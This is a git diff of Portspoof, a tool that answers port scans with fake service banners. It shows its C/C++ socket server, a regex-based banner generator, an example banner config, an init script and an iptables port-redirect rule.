while(i >=0)
|
||||
{
|
||||
if(threads[i].client_count < threads[min].client_count)
|
||||
{
|
||||
min = i;
|
||||
}
|
||||
i--;
|
||||
}
|
||||
|
||||
if(threads[min].client_count==MAX_CLIENT_PER_THREAD)
|
||||
return -1;
|
||||
|
||||
return min;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int ch;
|
||||
char* bind_ip;
|
||||
char* signature_file=LOG_FILE;
|
||||
char* configuration_file=CONF_FILE;
|
||||
int sockd,newsockfd;
|
||||
int addrlen;
|
||||
int pid;
|
||||
struct sockaddr_in my_name, peer_name;
|
||||
int status;
|
||||
char buf_file[BUFSIZE];
|
||||
int num_lines = 0;
|
||||
int buf_size=0;
|
||||
unsigned short int port=DEFAULT_PORT;
|
||||
|
||||
#ifdef CONFDIR
|
||||
configuration_file = CONFDIR CONFSEPARATOR CONF_FILE;
|
||||
signature_file = CONFDIR CONFSEPARATOR SIGNATURE_FILE;
|
||||
#endif
|
||||
|
||||
while ((ch = getopt(argc, argv,"l:i:p:f:c:dvh")) != -1) {
|
||||
switch (ch) {
|
||||
case 'i':
|
||||
bind_ip = optarg;
|
||||
opts |= OPT_IP;
|
||||
break;
|
||||
case 'p':
|
||||
port = atoi(optarg);
|
||||
opts |= OPT_PORT;
|
||||
break;
|
||||
case 'f':
|
||||
signature_file = optarg;
|
||||
opts |= OPT_SIG_FILE;
|
||||
break;
|
||||
case 'c':
|
||||
configuration_file = optarg;
|
||||
opts |= OPT_CONFIG_FILE;
|
||||
break;
|
||||
case 'v':
|
||||
opts |= OPT_DEBUG;
|
||||
printf("-> Verbose mode on.\n");
|
||||
break;
|
||||
case 'd':
|
||||
opts |= OPT_SYSLOG_DIS;
|
||||
printf("-> Syslog logging disabled.\n");
|
||||
break;
|
||||
case 'l':
|
||||
opts |= OPT_LOG_FILE;
|
||||
log_file = optarg;
|
||||
printf("-> Using log file %s\n",log_file);
|
||||
break;
|
||||
case 'h':
|
||||
usage();
|
||||
break;
|
||||
default:
|
||||
printf("Try ` %s -h' for more information.\n\n", __progname);
|
||||
exit(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if( !(opts&OPT_IP || opts&OPT_PORT || opts&OPT_DEBUG || opts&OPT_SIG_FILE || opts&OPT_LOG_FILE || opts&OPT_SYSLOG_DIS || opts&OPT_CONFIG_FILE))
|
||||
{
|
||||
printf("-> No parameters - using default values.\n");
|
||||
}
|
||||
|
||||
|
||||
//check log file
|
||||
if(opts & OPT_LOG_FILE)
|
||||
log_create(log_file);
|
||||
|
||||
// open file
|
||||
if(opts & OPT_SIG_FILE)
|
||||
printf("-> Using user defined signature file %s\n",signature_file);
|
||||
|
||||
FILE *fp = fopen(signature_file, "r");
|
||||
if (fp == NULL) {
|
||||
printf("Error opening file: %s \n",signature_file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// get number of lines
|
||||
while (fgets(buf_file, BUFSIZE, fp))
|
||||
if (!(strlen(buf_file) == BUFSIZE-1 && buf_file[BUFSIZE-2] != '\n'))
|
||||
{
|
||||
num_lines++;
|
||||
}
|
||||
|
||||
int config_nr_of_payloads=0;
|
||||
if(opts & OPT_CONFIG_FILE)
|
||||
config_nr_of_payloads=get_nr_of_payloads(configuration_file);
|
||||
|
||||
// allocate memory
|
||||
arr_lines2 = malloc((num_lines+config_nr_of_payloads) * sizeof(struct signature*));
|
||||
|
||||
int i=0;
|
||||
for(;i<num_lines+config_nr_of_payloads;i++)
|
||||
{
|
||||
struct signature* tmp;
|
||||
tmp=malloc(sizeof(signature));
|
||||
arr_lines2[i]=tmp;
|
||||
}
|
||||
|
||||
// read lines
|
||||
rewind(fp);
|
||||
|
||||
num_lines = 0;
|
||||
int line_length,len;
|
||||
char* tmp;
|
||||
|
||||
while (fgets(buf_file, BUFSIZE, fp))
|
||||
if (!(strlen(buf_file) == BUFSIZE-1 && buf_file[BUFSIZE-2] != '\n'))
|
||||
{
|
||||
line_length=strlen(buf_file);
|
||||
tmp=malloc(line_length+1);
|
||||
memset(tmp,0,line_length+1);
|
||||
strncpy(tmp,buf_file,line_length-1); //without new line
|
||||
|
||||
//DEBUG
|
||||
//printf("line nr %d\n",num_lines);
|
||||
//printf("nr of line: %d line len %d",num_lines,line_length);
|
||||
//printf("%d",line_length);
|
||||
|
||||
((signature*)(arr_lines2[num_lines]))->cptr=process_signature(tmp,&len);
|
||||
((signature*)(arr_lines2[num_lines]))->len=len;
|
||||
num_lines++;
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
|
||||
i=0;
|
||||
int tmpi=0;
|
||||
srand(time(0));
|
||||
// set portspoof mapping
|
||||
for(;i<SIGNATURES_SIZE;i++)
|
||||
{
|
||||
signatures[i]=i%num_lines;
|
||||
}
|
||||
|
||||
// open file
|
||||
if(opts & OPT_CONFIG_FILE){
|
||||
printf("-> Using configuration file %s\n",configuration_file);
|
||||
|
||||
if(process_config_file(arr_lines2,signatures,num_lines,configuration_file))
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* create thread pool */
|
||||
for(i = 0; i < MAX_THREADS; i++)
|
||||
{
|
||||
pthread_create(&threads[i].tid, NULL, process_connection, (void *) i);
|
||||
threads[i].client_count = 0;
|
||||
}
|
||||
|
||||
/* create a socket */
|
||||
sockd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
if (sockd == -1)
|
||||
{
|
||||
perror("Socket creation error");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int n = 1;
|
||||
setsockopt(sockd, SOL_SOCKET, SO_REUSEADDR , &n, sizeof(n));
|
||||
|
||||
/* server address - by default localhost */
|
||||
my_name.sin_family = PF_INET;
|
||||
if(opts & OPT_IP)
|
||||
{
|
||||
printf("-> Binding to iface: %s\n",bind_ip);
|
||||
inet_aton(bind_ip, &my_name.sin_addr.s_addr);
|
||||
|
||||
}
|
||||
else
|
||||
my_name.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if(opts & OPT_PORT)
|
||||
{
|
||||
printf("-> Binding to port: %d\n",port);
|
||||
my_name.sin_port = htons(port);
|
||||
|
||||
}
|
||||
else
|
||||
my_name.sin_port = htons(DEFAULT_PORT);
|
||||
|
||||
status = bind(sockd, (struct sockaddr*)&my_name, sizeof(my_name));
|
||||
if (status == -1)
|
||||
{
|
||||
perror("Binding error");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set queue sizeof
|
||||
status = listen(sockd, 10);
|
||||
if (status == -1)
|
||||
{
|
||||
perror("Listen set error");
|
||||
exit(1);
|
||||
}
|
||||
int choosen;
|
||||
while(1)
|
||||
{
|
||||
/* wait for a connection */
|
||||
addrlen = sizeof(peer_name);
|
||||
newsockfd = accept(sockd, (struct sockaddr*)&peer_name, &addrlen);
|
||||
|
||||
if (newsockfd < 0)
|
||||
perror("ERROR on accept");
|
||||
else{
|
||||
|
||||
nonblock(newsockfd);
|
||||
|
||||
start:
|
||||
pthread_mutex_lock(&new_connection_mutex);
|
||||
choosen=choose_thread();
|
||||
|
||||
|
||||
if( choosen == -1)
|
||||
{
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
sleep(1);
|
||||
goto start;
|
||||
}
|
||||
|
||||
|
||||
if(opts & OPT_DEBUG)
|
||||
fprintf(stderr," new conn - thread choosen: %d - nr. of connections already in queue: %d\n",choosen,threads[choosen].client_count);
|
||||
|
||||
for(i = 0; i < MAX_CLIENT_PER_THREAD; i++)
|
||||
{
|
||||
if(threads[choosen].clients[i] == 0)
|
||||
{
|
||||
threads[choosen].clients[i] = newsockfd;
|
||||
threads[choosen].client_count++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
pthread_mutex_unlock(&new_connection_mutex);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
@ -1,15 +0,0 @@
|
||||
#This is an example signature mapping configuration file
|
||||
|
||||
#Send custom payload (this can be a simple string)
|
||||
|
||||
8080-8100 "What are you looking for?"
|
||||
|
||||
#Send custom payload (this can be a hex encoded)
|
||||
|
||||
8101 "\x68\x65\x78\x65\x6e\x63\x6f\x64\x65\x64\x3a\x57\x68\x61\x74\x20\x61\x72\x65\x20\x79\x6f\x75\x20\x6c\x6f\x6f\x6b\x69\x6e\x67\x20\x66\x6f\x72\x3f"
|
||||
|
||||
#Send custom payload (this can be a simple regex)
|
||||
|
||||
8102 "regex: [\d]* [a-b]* [1-5]* [\w]* \d+ \w+ . \."
|
||||
|
||||
|
223
src/revregex.c → src/revregex.cpp
Normal file → Executable file
223
src/revregex.c → src/revregex.cpp
Normal file → Executable file
@ -1,6 +1,6 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
@ -16,16 +16,16 @@
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
@ -33,7 +33,8 @@
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
#include "config.h"
|
||||
// TODO: TO BE ENTIRELY REWRITTEN!
|
||||
|
||||
#include "revregex.h"
|
||||
|
||||
int signatures[SIGNATURES_SIZE];
|
||||
@ -43,13 +44,13 @@
|
||||
char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen) //index: '[' ... ']'
|
||||
{
|
||||
//TODO hex support
|
||||
int bslash='\\';
|
||||
int word='w';
|
||||
int digit='d';
|
||||
int range='-';
|
||||
char bslash='\\';
|
||||
char word='w';
|
||||
char digit='d';
|
||||
char range='-';
|
||||
|
||||
//flags
|
||||
char not=0;
|
||||
char nnot=0;
|
||||
char wordf=0;
|
||||
char digitf=0;
|
||||
char rangeword=0;
|
||||
@ -68,11 +69,11 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
|
||||
if( str[i]=='^') //not flag
|
||||
{
|
||||
i++;not=1;
|
||||
i++;nnot=1;
|
||||
}
|
||||
|
||||
// DEBUG
|
||||
//printf("%d %d",i,end_offset);
|
||||
//fprintf(stdout,"%d %d",i,end_offset);
|
||||
|
||||
for(i;i<lend_offset;i++)
|
||||
{
|
||||
@ -108,7 +109,7 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
else
|
||||
{
|
||||
//DEBUG
|
||||
//printf("unknown char: %c !\n", str[i+1]); //DEBUG - ignore this char it probably was escaped
|
||||
//fprintf(stdout,"unknown char: %c !\n", str[i+1]); //DEBUG - ignore this char it probably was escaped
|
||||
characters[str[i+1]]=1;
|
||||
}
|
||||
i++;
|
||||
@ -117,7 +118,7 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
else if( isalpha(str[i]) && (i+1)!=lend_offset && str[i+1]==range && (i+2)!=lend_offset && isalpha(str[i+2])) //check if rangeword
|
||||
{
|
||||
//DEBUG
|
||||
//printf("rangew");
|
||||
//fprintf(stdout,"rangew");
|
||||
|
||||
//add chars from range to the pool
|
||||
tmpj=str[i];
|
||||
@ -132,7 +133,7 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
else if( isdigit(str[i]) && (i+1)!=lend_offset && str[i+1]==range && (i+2)!=lend_offset && isdigit(str[i+2])) //check if rangedigit
|
||||
{
|
||||
//DEBUG
|
||||
//printf("ranged");
|
||||
//fprintf(stdout,"ranged");
|
||||
|
||||
tmpj=str[i];
|
||||
for(tmpj;tmpj<=str[i+2];tmpj++)
|
||||
@ -231,20 +232,20 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
finsize=1+rand()%9;
|
||||
|
||||
// DEBUG f
|
||||
//printf("\n###\n");
|
||||
//fprintf(stdout,"\n###\n");
|
||||
|
||||
|
||||
//TODO to be corrected
|
||||
i=0;
|
||||
for(i;i<255;i++)
|
||||
{
|
||||
if(not==0 && characters[i])
|
||||
if(nnot==0 && characters[i])
|
||||
{
|
||||
characterstmp[chari]=i;
|
||||
chari++;
|
||||
//printf("%c",i);
|
||||
//fprintf(stdout,"%c",i);
|
||||
}
|
||||
else if(not && characters[i]==0)
|
||||
else if(nnot && characters[i]==0)
|
||||
{
|
||||
characterstmp[chari]=i;
|
||||
chari++;
|
||||
@ -253,7 +254,7 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
}
|
||||
|
||||
|
||||
char *finstr=malloc((finsize+1)*sizeof(char));
|
||||
char *finstr=(char*)malloc((finsize+1)*sizeof(char));
|
||||
memset(finstr,0,(finsize+1)*sizeof(char));
|
||||
|
||||
if(chari)
|
||||
@ -274,19 +275,21 @@ char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen)
|
||||
char * fill_specialchars(char * str,int* param_len, int start_offset,int end_offset)
|
||||
{
|
||||
|
||||
int bslash='\\';
|
||||
int word='w';
|
||||
int digit='d';
|
||||
int dot='.';
|
||||
int newline='n';
|
||||
int creturn='r';
|
||||
char bslash='\\';
|
||||
char word='w';
|
||||
char digit='d';
|
||||
char dot='.';
|
||||
char newline='n';
|
||||
char creturn='r';
|
||||
char tab='t';
|
||||
|
||||
|
||||
char* tmp; // tmp string for merging
|
||||
int tmplen=end_offset-start_offset;
|
||||
int tmpi=0;
|
||||
|
||||
|
||||
if (!(tmp = malloc(tmplen * sizeof(char))))
|
||||
if (!(tmp = (char*)malloc(tmplen * sizeof(char))))
|
||||
exit(1);
|
||||
memset(tmp,0,tmplen);
|
||||
|
||||
@ -327,6 +330,12 @@ char * fill_specialchars(char * str,int* param_len, int start_offset,int end_off
|
||||
tmpi++;
|
||||
i++;
|
||||
}
|
||||
else if(str[i]==bslash && i+1!=end_offset && str[i+1]==tab )
|
||||
{
|
||||
tmp[tmpi]='\t';
|
||||
tmpi++;
|
||||
i++;
|
||||
}
|
||||
else if(str[i]==dot && i!=start_offset && str[i-1]!=bslash)
|
||||
{
|
||||
|
||||
@ -344,23 +353,23 @@ char * fill_specialchars(char * str,int* param_len, int start_offset,int end_off
|
||||
char* fin;
|
||||
int finlen=tmpi+1;
|
||||
|
||||
if (!(fin = malloc(finlen * sizeof(char))))
|
||||
if (!(fin = (char*)malloc(finlen * sizeof(char))))
|
||||
exit(1);
|
||||
|
||||
memset(fin,0,finlen);
|
||||
memcpy(fin,tmp,finlen-1);
|
||||
*param_len=finlen-1;
|
||||
|
||||
free(tmp);
|
||||
return fin;
|
||||
}
|
||||
|
||||
char* revregex(char * param_str,int* param_len,int start_offset,int end_offset) // with brackets
|
||||
{
|
||||
int lnaw='(';
|
||||
int rnaw=')';
|
||||
int lbrak='[';
|
||||
int rbrak=']';
|
||||
int bslash='\\';
|
||||
char lnaw='(';
|
||||
char rnaw=')';
|
||||
char lbrak='[';
|
||||
char rbrak=']';
|
||||
char bslash='\\';
|
||||
|
||||
|
||||
char* str; //main string
|
||||
@ -370,7 +379,7 @@ char* revregex(char * param_str,int* param_len,int start_offset,int end_offset)
|
||||
char* tmp; // tmp string for merging
|
||||
int tmplen;
|
||||
|
||||
if (!(str = malloc((str_len+1) * sizeof(char))))
|
||||
if (!(str = (char*)malloc((str_len+1) * sizeof(char))))
|
||||
exit(1);
|
||||
memset(str,0,str_len+1);
|
||||
memcpy(str,param_str+start_offset,str_len);
|
||||
@ -390,12 +399,12 @@ char* revregex(char * param_str,int* param_len,int start_offset,int end_offset)
|
||||
{
|
||||
if(str[j]==rnaw && str[j-1]!=bslash ){
|
||||
|
||||
//printf("#(%d %d)\n",i,j);
|
||||
//fprintf(stdout,"#(%d %d)\n",i,j);
|
||||
//revregex(str,j-i,i+1,j);
|
||||
|
||||
tmplen=str_len - 2 ;
|
||||
|
||||
if (!(tmp = malloc( ( tmplen + 1) * sizeof(char)))) // alloc without the brackets
|
||||
if (!(tmp = (char*)malloc( ( tmplen + 1) * sizeof(char)))) // alloc without the brackets
|
||||
exit(1);
|
||||
memset(tmp,0,( tmplen + 1));
|
||||
|
||||
@ -404,7 +413,7 @@ char* revregex(char * param_str,int* param_len,int start_offset,int end_offset)
|
||||
memcpy(tmp+i,str+i+1,j-i); // copy i-j
|
||||
memcpy(tmp+j-1,str+j+1,str_len-j-1);
|
||||
|
||||
//printf("# offset change: %d\n", retlen-(j-i));
|
||||
//fprintf(stdout,"# offset change: %d\n", retlen-(j-i));
|
||||
free(str);
|
||||
str=tmp;
|
||||
str_len=str_len-2;
|
||||
@ -419,7 +428,7 @@ char* revregex(char * param_str,int* param_len,int start_offset,int end_offset)
|
||||
|
||||
}
|
||||
|
||||
//printf("#%s\n",str);
|
||||
//fprintf(stdout,"#%s\n",str);
|
||||
|
||||
|
||||
|
||||
@ -435,14 +444,14 @@ char* revregex(char * param_str,int* param_len,int start_offset,int end_offset)
|
||||
if(str[j]==rbrak && str[j-1]!=bslash ){
|
||||
|
||||
|
||||
//printf("# [%d %c %d %c ]\n",i,str[i],j,str[j]);
|
||||
//fprintf(stdout,"# [%d %c %d %c ]\n",i,str[i],j,str[j]);
|
||||
retstr=revregex_bracket(str,i,j,&retlen);
|
||||
|
||||
// merge it
|
||||
|
||||
tmplen=str_len - (j-i) + retlen;
|
||||
|
||||
if (!(tmp = malloc(tmplen)))
|
||||
if (!(tmp = (char*)malloc(tmplen)))
|
||||
exit(1);
|
||||
memset(tmp,0,tmplen);
|
||||
memcpy(tmp,str,i); // copy up to index i
|
||||
@ -505,11 +514,11 @@ int ishex(char* ch)
|
||||
|
||||
char * escape_hex(char* str,int* final_len)
|
||||
{
|
||||
int bslash='\\';
|
||||
char bslash='\\';
|
||||
int i=0,i2=0;
|
||||
|
||||
int length=strlen(str);
|
||||
char *str2 = malloc(length+1);
|
||||
char *str2 = (char*)malloc(length+1);
|
||||
memset(str2,0,length+1);
|
||||
|
||||
while(*(str+i)!='\0'){
|
||||
@ -522,7 +531,7 @@ char * escape_hex(char* str,int* final_len)
|
||||
}
|
||||
else if(*(str+i+1)!='\0' && *(str+i+1)=='x' && *(str+i+2)!='\0' && ishex(str+i+2) && *(str+i+3)!='\0' && ishex(str+i+3))
|
||||
{
|
||||
//printf("\\%hhx",char2hex(str+i+2));
|
||||
//fprintf(stdout,"\\%hhx",char2hex(str+i+2));
|
||||
*(str2+i2)=(char)char2hex(str+i+2);
|
||||
i2++;
|
||||
i+=3;
|
||||
@ -530,7 +539,7 @@ char * escape_hex(char* str,int* final_len)
|
||||
}
|
||||
else
|
||||
{
|
||||
//printf("%c",*(str+i));
|
||||
//fprintf(stdout,"%c",*(str+i));
|
||||
}
|
||||
}
|
||||
else{
|
||||
@ -545,7 +554,7 @@ char * escape_hex(char* str,int* final_len)
|
||||
|
||||
*final_len=i2;
|
||||
char* strfin;
|
||||
if (!(strfin = malloc((i2 + 1) * sizeof(char))))
|
||||
if (!(strfin = (char*)malloc((i2 + 1) * sizeof(char))))
|
||||
exit(1);
|
||||
|
||||
memset(strfin,0,i2+1);
|
||||
@ -555,101 +564,49 @@ char * escape_hex(char* str,int* final_len)
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
char * clear_spaces(char* str)
|
||||
std::vector<char> process_signature(std::string str)
|
||||
{
|
||||
//cout<<str;
|
||||
//cout.flush();
|
||||
|
||||
int len=0;
|
||||
int flag=1;
|
||||
int i=0;
|
||||
int j=0;
|
||||
char* str2;
|
||||
|
||||
len=strlen(str);
|
||||
if (!(str2 = malloc((len+1) * sizeof(char))))
|
||||
exit(1);
|
||||
|
||||
memset(str2,0,len+1);
|
||||
|
||||
for(i;i<len;i++)
|
||||
{
|
||||
|
||||
if(str[i]==' ' && flag==1)
|
||||
{
|
||||
str2[j]=str[i];
|
||||
j++;
|
||||
flag=0;
|
||||
}
|
||||
else if(str[i]==' ')
|
||||
flag=0;
|
||||
else
|
||||
flag=1;
|
||||
|
||||
if(flag)
|
||||
{
|
||||
str2[j]=str[i];
|
||||
j++;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
printf("size %d\n",j);
|
||||
|
||||
char* strfin;
|
||||
if (!(strfin = malloc((j + 1) * sizeof(char))))
|
||||
exit(1);
|
||||
|
||||
memset(strfin,0,j+1);
|
||||
memcpy(strfin,str2,j);
|
||||
|
||||
free(str2);
|
||||
|
||||
return strfin;
|
||||
|
||||
}
|
||||
*/
|
||||
char * process_signature(const char* str, int* len)
|
||||
{
|
||||
|
||||
size_t length = strlen(str);
|
||||
|
||||
char *str2 = malloc(length+1);
|
||||
size_t length = str.length();
|
||||
char *str2 =(char*) malloc(length+1);
|
||||
memset(str2,0,length+1);
|
||||
memcpy(str2,str,length+1);
|
||||
|
||||
memcpy(str2,str.c_str(),length+1);
|
||||
int final_len=length;
|
||||
char *str3=revregex(str2,&final_len,0,length-1);
|
||||
char* str4=fill_specialchars(str3,&final_len,0,final_len);
|
||||
char* str5=escape_hex(str4,&final_len);
|
||||
*len=final_len;
|
||||
|
||||
|
||||
|
||||
// DEBUG
|
||||
/*
|
||||
printf("\n##hex##\n");
|
||||
int t=0;
|
||||
for(;t<final_len;t++)
|
||||
{
|
||||
if(*(str3+t)==0)
|
||||
printf("\\00");
|
||||
else if(*(str3+t)=='\n')
|
||||
printf("\\n");
|
||||
else if(*(str3+t)=='\r')
|
||||
printf("\\r");
|
||||
else
|
||||
printf("\\%x",*(str3+t));
|
||||
}
|
||||
printf("\n");
|
||||
*/
|
||||
// ----
|
||||
|
||||
|
||||
free(str2);
|
||||
free(str3);
|
||||
free(str4);
|
||||
return str5;
|
||||
|
||||
/*
|
||||
fprintf(stdout,"\n##hex##\n");
|
||||
int t=0;
|
||||
for(;t<final_len;t++)
|
||||
{
|
||||
if(*(str5+t)==0)
|
||||
fprintf(stdout,"\\00");
|
||||
else if(*(str5+t)=='\n')
|
||||
fprintf(stdout,"\\n");
|
||||
else if(*(str5+t)=='\r')
|
||||
fprintf(stdout,"\\r");
|
||||
else
|
||||
fprintf(stdout,"\\%x",*(str5+t));
|
||||
}
|
||||
fprintf(stdout,"\n");
|
||||
*/
|
||||
|
||||
std::vector<char> result_vector;
|
||||
|
||||
for(int i=0; i<final_len;i++)
|
||||
result_vector.push_back(str5[i]);
|
||||
|
||||
free(str5);
|
||||
|
||||
return result_vector;
|
||||
|
||||
}
|
||||
|
38
src/revregex.h
Normal file → Executable file
38
src/revregex.h
Normal file → Executable file
@ -1,6 +1,6 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
@ -16,16 +16,16 @@
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
@ -33,6 +33,7 @@
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
@ -41,24 +42,16 @@
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <ctype.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
#define BUFSIZE 1024
|
||||
using namespace std;
|
||||
|
||||
#define BUFSIZE 2048
|
||||
#define SIGNATURES_SIZE 65535 // max port range
|
||||
|
||||
#ifndef REVREGEX_VARS
|
||||
#define REVREGEX_VARS
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char* cptr;
|
||||
} signature;
|
||||
|
||||
|
||||
extern int signatures[SIGNATURES_SIZE];
|
||||
extern int num_signatures;
|
||||
extern struct signature **arr_lines2;
|
||||
#endif
|
||||
|
||||
std::vector<char> process_signature(std::string str);
|
||||
|
||||
char * revregex_bracket(char * str,int start_offset,int end_offset, int* retlen);
|
||||
char * fill_specialchars(char * str, int* param_len, int start_offset,int end_offset);
|
||||
@ -66,6 +59,5 @@ char* revregex(char * param_str,int* param_len,int start_offset,int end_offset);
|
||||
int char2hex(char* ptr);
|
||||
int ishex(char* ch);
|
||||
char * escape_hex(char* str,int* final_len);
|
||||
char * process_signature(const char* str, int* len);
|
||||
|
||||
|
||||
|
1824
src/signatures
1824
src/signatures
File diff suppressed because it is too large
Load Diff
@ -1 +0,0 @@
|
||||
timestamp for src/config.h
|
BIN
system_files/.DS_Store
vendored
Normal file
BIN
system_files/.DS_Store
vendored
Normal file
Binary file not shown.
35
system_files/init.d/portspoof.sh
Normal file
35
system_files/init.d/portspoof.sh
Normal file
@ -0,0 +1,35 @@
|
||||
#!/bin/sh
|
||||
# Starts and stops Portspoof daemon
|
||||
#
|
||||
|
||||
case "$1" in
|
||||
start)
|
||||
|
||||
if ! pidof portspoof >/dev/null; then
|
||||
echo "Starting Portspoof..."
|
||||
/usr/local/bin/portspoof -D -c /usr/local/etc/portspoof.conf -s /usr/local/etc/portspoof_signatures
|
||||
else
|
||||
echo "Portspoof already running.."
|
||||
fi
|
||||
|
||||
;;
|
||||
|
||||
stop)
|
||||
|
||||
if pidof portspoof >/dev/null; then
|
||||
killall -9 /usr/local/bin/portspoof >/dev/null
|
||||
echo "Portspoof stopped.."
|
||||
else
|
||||
echo "Portspoof not running.."
|
||||
fi
|
||||
;;
|
||||
|
||||
restart)
|
||||
$0 stop
|
||||
$0 start
|
||||
;;
|
||||
|
||||
*)
|
||||
echo "Usage: $0 {start|stop|restart}"
|
||||
exit 1
|
||||
esac
|
18
system_files/iptables-config
Executable file
18
system_files/iptables-config
Executable file
@ -0,0 +1,18 @@
|
||||
# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:41 2013
|
||||
*nat
|
||||
:PREROUTING ACCEPT [5992:539002]
|
||||
:INPUT ACCEPT [347451:16935290]
|
||||
:OUTPUT ACCEPT [477:45868]
|
||||
:POSTROUTING ACCEPT [0:0]
|
||||
-A PREROUTING -i eth1 -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444
|
||||
-A PREROUTING -i eth1 -p tcp -m tcp --dport 23:65535 -j REDIRECT --to-ports 4444
|
||||
COMMIT
|
||||
# Completed on Tue Apr 23 14:26:42 2013
|
||||
# Generated by iptables-save v1.4.4 on Tue Apr 23 14:26:42 2013
|
||||
*filter
|
||||
:INPUT ACCEPT [1931192:104113948]
|
||||
:FORWARD ACCEPT [0:0]
|
||||
:OUTPUT ACCEPT [1606583:151106362]
|
||||
-A FORWARD -j ACCEPT
|
||||
COMMIT
|
||||
# Completed on Tue Apr 23 14:26:42 2013
|
153
tools/Makefile
Normal file → Executable file
153
tools/Makefile
Normal file → Executable file
@ -1,8 +1,9 @@
|
||||
# Makefile.in generated by automake 1.10 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# tools/Makefile. Generated from Makefile.in by configure.
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
# 2003, 2004, 2005, 2006 Free Software Foundation, Inc.
|
||||
# 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
|
||||
# Inc.
|
||||
# This Makefile.in is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
@ -16,8 +17,9 @@
|
||||
|
||||
|
||||
pkgdatadir = $(datadir)/portspoof
|
||||
pkglibdir = $(libdir)/portspoof
|
||||
pkgincludedir = $(includedir)/portspoof
|
||||
pkglibdir = $(libdir)/portspoof
|
||||
pkglibexecdir = $(libexecdir)/portspoof
|
||||
